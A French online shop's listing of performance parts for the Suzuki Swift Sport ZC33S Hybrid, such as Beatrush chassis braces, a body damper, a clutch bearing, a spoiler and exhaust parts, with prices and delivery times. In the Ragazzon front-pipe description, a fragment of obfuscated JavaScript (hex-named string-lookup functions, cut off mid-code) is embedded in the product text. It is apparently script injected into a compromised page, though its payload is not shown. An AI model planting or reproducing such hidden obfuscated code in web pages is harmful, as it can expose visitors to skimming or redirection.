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Porte clefspices performances pour Suzuki Swift sport zc33s Hybrid
ZC33S Hybrid Il y a 70 produits.
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Renfort Beatrush inferieur avant Swift...
En connectant le premier élément avant au berceau avec un arbre en aluminium φ32 pour supprimer les mouvements inutiles de l'élément de suspension à l'arrêt et au démarrage, la traction est améliorée et la réponse de la direction à l'entrée d'un virage est améliorée. Renfort Beatrush inferieur avant Swift Sport zc33s Finition anodisée dorée, montage sur...
309,23 €Sur commande -
Renfort Beatrush inferieur central Swift...
La barre de renfort du plancher Beat Rush relie le plancher avant entre les cadres gauche et droit pour améliorer la rigidité du corps du plancher et les performances de la suspension. De plus, un arbre ovale en aluminium à section en D léger et très rigide est utilisé pour minimiser l'augmentation de poids. Renfort Beatrush inferieur central Swift Sport...
95,23 €Sur commande -
Beatrush floor bar Swift Sport zc33s
La barre de performance Beat Rush Floor pour Swift Sport zc33s relie la partie inférieure des montants B gauche et droit (boulons de fixation de la ceinture de sécurité) et la partie centrale du plancher sur une ligne horizontale avec un arbre en aluminium de φ32 mm pour augmenter la rigidité du corps du châssis de Swift Sport. Fixations sur 3 points
255,73 €Sur commande -
Beatrush barre de cadre arrière Swift...
La barre d'extrémité du cadre arrière Beat Rush pour Swift Sport ZC33S est dotée d'un support spécial et d'un arbre en aluminium φ32 articulé aux deux extrémités de l'extrémité du cadre du panneau arrière arrière pour améliorer la rigidité et les performances de suspension de la carrosserie arrière du véhicule à hayon.
255,73 €Sur commande -
Beatrush barre arrière Swift Sport zc33s
La barre de pilier arrière Beat Rush pour Swift Sport ZC33s rejoint un arbre en aluminium de φ32 mm en utilisant les boulons de pilier de la ceinture de sécurité arrière pour augmenter la rigidité du corps de l'ouverture du hayon arrière. De plus, l'arbre est conçu pour éviter l'arrière afin de protéger les occupants des sièges arrière.
309,23 €Sur commande -
Amortisseur de corps MONSTER Sport Swift...
Amortisseur de corps (body damper) de chez Monster Sport japan pour Suzuki Swift. le principe est d'optimiser le comportement du châssis en appuie et sur chaussée dégradée en absorbant les déformation en flexion de la coque de la Swift. Le kit comprend deux vérins fabriqué par Yamaha Japon avec un kit de montage spécifique a la Swift.
1 123,50 €Sur commande -
butée d'embrayage Suzuki Swift sport 1.6...
butée d'embrayage Suzuki Swift sport 1.6 ZC32S et 1.4T ZC33S (oui oui c'est la même pour les deux générations) A remplacer lors du changement d'embrayage.
77,04 €en 4 jours -
SILK BLAZE SPORTS REAR WING SPOILER SILVER...
Made to order 45/60 days air shipping from Japan Painted in Silver ZNC suzuki Swift zc33s
1 016,50 €60 jours -
front pipe Raggazon Suzuki Swift ZC33S
Diamètre 50, compatible échappement d'origine ou autre (CTC, HKS etc) Made in Italie. Joints et vis fournis function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...
297,00 €En 14 jours chez vous -
Beatrush Swift silent blocs de tringlerie...
En remplaçant la bague en caoutchouc véritable du support de fixation du câble de changement de vitesse côté transmission par une bague en uréthane, la vibration du support lors du changement de vitesse est supprimée et la rigidité est augmentée Côté boite de vitesse.
53,50 €Special order 4/5 semaines -
Silentblocs de levier de vitesse Beatrush...
En remplaçant le silentbloc vraiment mou d'origine par ces silentblocs polyurethane, le guidage du levier devient plus précis et plus rapide.
54,00 €Rupture de stock -
Echappement Swift Hybrid sport REMUS
Echappement homologué Europe diamètre 65mm Avec sorties inox 115mm Ne touche pas au systeme de pollution
1 337,50 €Expedié direct de l'usine
